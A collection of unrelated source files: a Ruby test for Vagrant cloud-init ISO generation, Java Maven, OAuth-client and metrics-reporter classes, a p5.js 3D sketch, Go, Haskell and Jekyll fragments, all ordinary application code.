      expect(MIME::Text).to receive(:new).with(cfg_text, "cloud-config")
      subject.read_text_cfg(machine, cfg)
    end

    it "takes a text cfg inline string and saves it as a MIME text message" do
      expect(MIME::Text).to receive(:new).with("data: true", "cloud-config")
      subject.read_text_cfg(machine, cfg_inline)
    end
  end

  describe "#generate_cfg_msg" do
    it "creates a miltipart mixed message of combined configs" do
      message = subject.generate_cfg_msg(machine, text_cfgs)
      expect(message).to be_a(MIME::Multipart::Mixed)
    end

    it "sets a MIME-Version header" do
      message = subject.generate_cfg_msg(machine, text_cfgs)
      expect(message.headers.get("MIME-Version")).to eq("1.0")
    end
  end

  describe "#write_cfg_iso" do
    let(:iso_path) { Pathname.new("fake/iso/path") }
    let(:source_dir) { Pathname.new("fake/source/path") }
    let(:meta_data_file) { double("meta_data_file") }

    before do
      allow(meta_data_file).to receive(:write).and_return(true)
    end

    it "raises an error if the host capability is not supported" do
      message = subject.generate_cfg_msg(machine, text_cfgs)
      allow(host).to receive(:capability?).with(:create_iso).and_return(false)

      expect{subject.write_cfg_iso(machine, env, message, {})}.to raise_error(Vagrant::Errors::CreateIsoHostCapNotFound)
    end

    it "creates a temp dir with the cloud_init config and generates an iso" do
      message = subject.generate_cfg_msg(machine, text_cfgs)
      allow(host).to receive(:capability?).with(:create_iso).and_return(true)
      allow(Dir).to receive(:mktmpdir).and_return(source_dir)
      expect(File).to receive(:open).with("#{source_dir}/user-data", 'w').and_return(true)
      expect(File).to receive(:open).with("#{source_dir}/meta-data", 'w').and_yield(meta_data_file)
      expect(FileUtils).to receive(:remove_entry).with(source_dir).and_return(true)
      allow(host).to receive(:capability).with(:create_iso, source_dir, volume_id: "cidata").and_return(iso_path)
      expect(vm.disks).to receive(:each)
      expect(meta_data).to receive(:to_yaml)

      subject.write_cfg_iso(machine, env, message, meta_data)
    end
  end

  describe "#attach_disk_config" do
    let(:iso_path) { Pathname.new("fake/iso/path") }

    it "creates a new disk config based on the iso_path" do
      expect(vm.disks).to receive(:each)
      subject.attach_disk_config(machine, env, iso_path)
    end
  end
end


text:
package org.jetbrains.idea.maven.server;

import java.io.File;
import java.rmi.RemoteException;

import org.jetbrains.idea.maven.util.MavenStringUtil;
import org.sonatype.aether.transfer.TransferCancelledException;
import org.sonatype.aether.transfer.TransferEvent;
import org.sonatype.aether.transfer.TransferListener;
import org.sonatype.aether.transfer.TransferResource;

/**
 * @author Sergey Evdokimov
 */
public class Maven30TransferListenerAdapter implements TransferListener {

  protected final MavenServerProgressIndicator myIndicator;

  public Maven30TransferListenerAdapter(MavenServerProgressIndicator indicator) {
    myIndicator = indicator;
  }

  private void checkCanceled() {
    try {
      if (myIndicator.isCanceled()) throw new MavenProcessCanceledRuntimeException();
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }

  private static String formatResourceName(TransferEvent event) {
    TransferResource resource = event.getResource();
    File file = resource.getFile();
    return (file == null ? resource.getResourceName() : file.getName()) + " [" + resource.getRepositoryUrl() + "]";
  }

  @Override
  public void transferInitiated(TransferEvent event) {
    checkCanceled();

    try {
      myIndicator.setIndeterminate(true);
      myIndicator.setText2(formatResourceName(event));
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }

  @Override
  public void transferStarted(TransferEvent event) throws TransferCancelledException {
    transferProgressed(event);
  }

  @Override
  public void transferProgressed(TransferEvent event) throws TransferCancelledException {
    checkCanceled();

    TransferResource r = event.getResource();

    long totalLength = r.getContentLength();

    String sizeInfo;
    if (totalLength <= 0) {
      sizeInfo = MavenStringUtil.formatFileSize(event.getTransferredBytes()) + " / ?";
    } else {
      sizeInfo = MavenStringUtil.formatFileSize(event.getTransferredBytes()) + " / " + MavenStringUtil.formatFileSize(totalLength);
    }

    try {
      myIndicator.setText2(formatResourceName(event) + "  (" + sizeInfo + ')');
      if (totalLength <= 0) {
        myIndicator.setIndeterminate(true);
      }
      else {
        myIndicator.setIndeterminate(false);
        myIndicator.setFraction((double)event.getTransferredBytes() / totalLength);
      }
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }

  @Override
  public void transferCorrupted(TransferEvent event) throws TransferCancelledException {
    try {
      myIndicator.setText2("Checksum failed: " + formatResourceName(event));
      myIndicator.setIndeterminate(true);
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }

  @Override
  public void transferSucceeded(TransferEvent event) {
    try {
      myIndicator.setText2("Finished (" + MavenStringUtil.formatFileSize(event.getTransferredBytes()) + ") " + formatResourceName(event));
      myIndicator.setIndeterminate(true);
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }

  @Override
  public void transferFailed(TransferEvent event) {
    try {
      if (myIndicator.isCanceled()) {
        myIndicator.setText2("Canceling...");
        return; // Don't throw exception here.
      }
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }

    try {
      myIndicator.setText2("Failed to download " + formatResourceName(event));
      myIndicator.setIndeterminate(true);
    }
    catch (RemoteException e) {
      throw new RuntimeRemoteException(e);
    }
  }
}


text:
/*
 * @name Primitivas 3D
 * @frame 720,400 (optional)
 * @description Ubicar matemáticamente objetos 3D en un espacio sintétito.
 * Las funciones box() y sphere() toman al menos un parámetro para especificar su
 * tamaño. Estas figuras son posicionadas usando la función translate().
 */
function setup() {
	createCanvas(710, 400, WEBGL);
}

function draw() {
	background(100);
	noStroke();

	push();
	translate(-300, 200);
	rotateY(1.25);
	rotateX(-0.9);
	box(100);
	pop();

	noFill();
	stroke(255);
	push();
	translate(500, height*0.35, -200);
	sphere(300);
	pop();
}


text:
package spdy2

import (
	"github.com/SlyMarbo/spdy/common"
)

var log = common.GetLogger()
var debug = common.GetDebugLogger()


text:
package org.wso2.identity.integration.common.clients.oauth;

import java.rmi.RemoteException;

import org.apache.axis2.AxisFault;
import org.wso2.carbon.identity.oauth.stub.dto.OAuthConsumerAppDTO;
import org.wso2.carbon.identity.oauth.stub.OAuthAdminServiceException;
import org.wso2.carbon.identity.oauth.stub.OAuthAdminServiceStub;
import org.wso2.identity.integration.common.clients.AuthenticateStub;

public class OauthAdminClient {

	OAuthAdminServiceStub oauthAdminStub;
	private final String serviceName = "OAuthAdminService";

	public OauthAdminClient(String backendURL, String sessionCookie) throws AxisFault {

        String endPoint = backendURL + serviceName;
        oauthAdminStub = new OAuthAdminServiceStub(endPoint);
        AuthenticateStub.authenticateStub(sessionCookie, oauthAdminStub);
	}

    public OauthAdminClient(String backendURL, String userName, String password)
            throws AxisFault {

        String endPoint = backendURL + serviceName;
        oauthAdminStub = new OAuthAdminServiceStub(endPoint);
        AuthenticateStub.authenticateStub(userName, password, oauthAdminStub);
    }

    public void registerOAuthApplicationData(OAuthConsumerAppDTO application) throws RemoteException, OAuthAdminServiceException {
    	oauthAdminStub.registerOAuthApplicationData(application);
    }

    public OAuthConsumerAppDTO[] getAllOAuthApplicationData() throws RemoteException, OAuthAdminServiceException {

    	OAuthConsumerAppDTO[] appDtos = null;
    	appDtos = oauthAdminStub.getAllOAuthApplicationData();
    	return appDtos;
    }

    public void removeOAuthApplicationData(String consumerKey) throws RemoteException, OAuthAdminServiceException{
    	oauthAdminStub.removeOAuthApplicationData(consumerKey);
    }
}


text:
package com.wxs.quartzJob.job;

import com.wxs.quartzJob.core.JobAware;
import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import org.springframework.stereotype.Component;

/**
 *
Job4

 *
 * @author wuxinshui
 */
@Component
public class Job4 implements JobAware {
    @Override
    public void execute(JobExecutionContext context) throws JobExecutionException {
        System.out.println("This is Job4");
    }
}


text:
package com.netuitive.dropwizard.metrics;

import java.net.SocketException;
import java.util.Map;
import java.util.SortedMap;
import java.util.concurrent.TimeUnit;

import org.apache.commons.lang3.math.NumberUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import com.codahale.metrics.Counter;
import com.codahale.metrics.Gauge;
import com.codahale.metrics.Histogram;
import com.codahale.metrics.Meter;
import com.codahale.metrics.Metered;
import com.codahale.metrics.MetricFilter;
import com.codahale.metrics.MetricRegistry;
import com.codahale.metrics.ScheduledReporter;
import com.codahale.metrics.Snapshot;
import com.codahale.metrics.Timer;
import com.netuitive.ananke.statsd.client.NetuitiveStatsDClient;
import com.netuitive.ananke.statsd.client.request.GaugeRequest;
import com.netuitive.ananke.statsd.client.request.SetRequest;

import lombok.Builder;

/**
 * Created by bspindler on 6/12/16.
 */
public class NetuitiveMetricsReporter extends ScheduledReporter  {

    private static final Logger LOG = LoggerFactory.getLogger(NetuitiveMetricsReporter.class);

    private final String host;
    private final int port;
    private NetuitiveStatsDClient client;

    @Builder
    private NetuitiveMetricsReporter(MetricRegistry registry,
                            String host, // hostname of netuitive-statsd server
                            int port, // port of netuitive-statsd server
                            TimeUnit rateUnit,
                            TimeUnit durationUnit,
                            MetricFilter filter) {
        super(registry, "netuitive-reporter", filter, rateUnit, durationUnit);
        this.host = host;
        this.port = port;

        try {
            client = new NetuitiveStatsDClient(this.host, this.port);
        } catch (SocketException e) {
            LOG.error("Unable to create a Socket on host " + this.host + " and port " + this.port, e);
        }
    }

    /**
     * Called periodically by the polling thread. Subclasses should report all the given metrics.
     *
     * @param gauges     all of the gauges in the registry
     * @param counters   all of the counters in the registry
     * @param histograms all of the histograms in the registry
     * @param meters     all of the meters in the registry
     * @param timers     all of the timers in the registry
     */
    @SuppressWarnings("rawtypes")
    @Override
    public void report(SortedMap<String, Gauge> gauges,
                       SortedMap<String, Counter> counters,
                       SortedMap<String, Histogram> histograms,
                       SortedMap<String, Meter> meters,
                       SortedMap<String, Timer> timers) {

        LOG.info("Pushing {} gauges, {} counters, {} histograms, {} meters and {} timers to Netuitive",
                (gauges == null ? 0 : gauges.size()),
                (counters == null ? 0 : counters.size()),
                (histograms == null ? 0 : histograms.size()),
                (meters == null ? 0 : meters.size()),
                (timers == null ? 0 : timers.size())
                );

        if (!gauges.isEmpty()) {
            LOG.debug("Gauges");
            for (Map.Entry<String, Gauge> entry : gauges.entrySet()) {
                String metricName = entry.getKey();
                if (NumberUtils.isNumber(entry.getValue().getValue().toString()))
                {
                    double metricValue = Double.parseDouble(entry.getValue().getValue().toString());
                    pushGauge(metricName, metricValue);
                }

            }
        }

        if (!counters.isEmpty()) {
            LOG.debug("Counters");
            for (Map.Entry<String, Counter> entry : counters.entrySet()) {
                String metricName = entry.getKey();
                long metricValue = entry.getValue().getCount();
                pushCounter(metricName, metricValue);
            }
        }

        if (!meters.isEmpty()) {
            LOG.debug("Meters");
            for (Map.Entry<String, Meter> entry : meters.entrySet()) {
                String metricName = entry.getKey();
                pushMeter(metricName, entry.getValue());
            }
        }

        if (!timers.isEmpty()) {
            LOG.debug("Timers");
            for (Map.Entry<String, Timer> entry : timers.entrySet()) {
                String metricName = entry.getKey();
                pushMeter(metricName, entry.getValue());
                pushSnapshot(metricName, entry.getValue().getSnapshot());
            }
        }

        if (!histograms.isEmpty()) {
            LOG.debug("Histograms");
            for (Map.Entry<String, Histogram> entry : histograms.entrySet()) {
                String metricName = entry.getKey();
                pushSnapshot(metricName, entry.getValue().getSnapshot());
            }
        }

    }

    /**
     * Pushes the Metered metrics as Gauges
     *
     * @param metricName
     *            Base metric name for this Meter
     * @param meter
     *            Metered object to report
     */
    void pushMeter(String metricName, Metered meter)
    {
        pushCounter(metricName + ".count", meter.getCount());
        pushGauge(metricName + ".meanRate", meter.getMeanRate());
        pushGauge(metricName + ".1MinuteRate", meter.getOneMinuteRate());
        pushGauge(metricName + ".5MinuteRate", meter.getFiveMinuteRate());
        pushGauge(metricName + ".15MinuteRate", meter.getFifteenMinuteRate());
    }

    /**
     * Pushes the Snapshot metrics as Gauges
     *
     * @param metricName
     *            Base metric name for this Snapshot
     * @param snapshot
     *            Snapshot object to report
     */
    void pushSnapshot(String metricName, Snapshot snapshot)
    {
        pushGauge(metricName + ".min", new Double(snapshot.getMin()));
        pushGauge(metricName + ".max", new Double(snapshot.getMax()));
        pushGauge(metricName + ".mean", snapshot.getMean());
        pushGauge(metricName + ".stdDev", snapshot.getStdDev());
        pushGauge(metricName + ".median", snapshot.getMedian());
        pushGauge(metricName + ".75percentile", snapshot.get75thPercentile());
        pushGauge(metricName + ".95percentile", snapshot.get95thPercentile());
        pushGauge(metricName + ".98percentile", snapshot.get98thPercentile());
        pushGauge(metricName + ".99percentile", snapshot.get99thPercentile());
        pushGauge(metricName + ".999percentile", snapshot.get999thPercentile());

    }

    /***
     * Uses the Ananke client to push one Counter metric to StatsD
     *
     * @param metricName
     *            Metric name
     * @param metricValue
     *            Metric value
     */
    void pushCounter(String metricName, Long metricValue)
    {
        LOG.debug("Pushing counter: {}={}", metricName, metricValue);
        SetRequest req = new SetRequest()
                .withMetric(metricName)
                .withValue(metricValue);
        client.set(req);
    }

    /***
     * Uses the Ananke client to push one Gauge metric to StatsD
     *
     * @param metricName
     *            Metric name
     * @param metricValue
     *            Metric value
     */
    void pushGauge(String metricName, Double metricValue)
    {
        LOG.debug("Pushing gauge: {}={}", metricName, metricValue);
        GaugeRequest req = new GaugeRequest()
                .withMetric(metricName)
                .withValue(metricValue);
        client.gauge(req);
    }
}


text:
package io.loli.box.controller;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import io.loli.box.startup.JerseyBaseTest;
import io.loli.box.util.StatusBean;

import java.io.File;

import javax.ws.rs.client.Entity;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;

import org.glassfish.jersey.media.multipart.FormDataMultiPart;
import org.glassfish.jersey.media.multipart.MultiPart;
import org.glassfish.jersey.media.multipart.file.FileDataBodyPart;
import org.junit.Test;

public class ImageActionTest extends JerseyBaseTest {

    @SuppressWarnings("resource")
    @Test
    public void testUpload() {
        // MediaType of the body part will be derived from the file.
        File file = new File(ImageAction.class.getResource("/test.jpg").getFile());
        final FileDataBodyPart filePart = new FileDataBodyPart("image", file);
        final MultiPart multipart = new FormDataMultiPart().bodyPart(filePart);
        final Response response = target("image/upload").request(MediaType.APPLICATION_JSON_TYPE).post(
            Entity.entity(multipart, multipart.getMediaType()));
        assertEquals(200, response.getStatus());
        StatusBean result = response.readEntity(StatusBean.class);
        assertEquals("success", result.getStatus());
        assertNotNull(result.getMessage());
    }
}


text:
{-# LANGUAGE OverloadedStrings #-}

module HipBot.HipLambda.Descriptor where

import Control.Lens
import HipBot

descriptor :: AbsoluteURI -> AddOn
descriptor baseUri =
  defaultAddOn "com.atlassian.labs.hiplambda" "HipLambda"
    "A bot for Haskell"
    (defaultLinks baseUri
      & homepage ?~ baseUri)
    & capabilities ?~ (defaultCapabilities
      & installable ?~ (defaultInstallable
        & callbackUrl ?~ baseUri `appendPath` ["installations"]
        & allowRoom .~ True
        & allowGlobal .~ False)
      & hipchatApiConsumer ?~ (defaultAPIConsumer
        & scopes .~ [SendNotification]
        & fromName ?~ "HipLambda")
      & webhooks .~
        [ webhook (baseUri `appendPath` ["pointfree"]) RoomMessage
            & pattern ?~ "^/(pf|pointfree)(\\s|$).*"
        , webhook (baseUri `appendPath` ["pointful"]) RoomMessage
            & pattern ?~ "^/(unpf|pointful|pointy)(\\s|$).*"
        , webhook (baseUri `appendPath` ["eval"]) RoomMessage
            & pattern ?~ "^:(t|type)(\\s|$).*"
        , webhook (baseUri `appendPath` ["eval"]) RoomMessage
            & pattern ?~ "^(>|/run)(\\s|$).*"
        , webhook (baseUri `appendPath` ["hoogle"]) RoomMessage
            & pattern ?~ "^/hoogle(\\s|$).*"
        ])
    & vendor ?~ Vendor "https://atlassian.com" "Atlassian Labs"


text:
layout: post
title: Acorns Australia
slug: acornsau
source: https://acornsau.com.au/
---

<img src="/screenshots/acornsau.png" alt="Acorns Australia">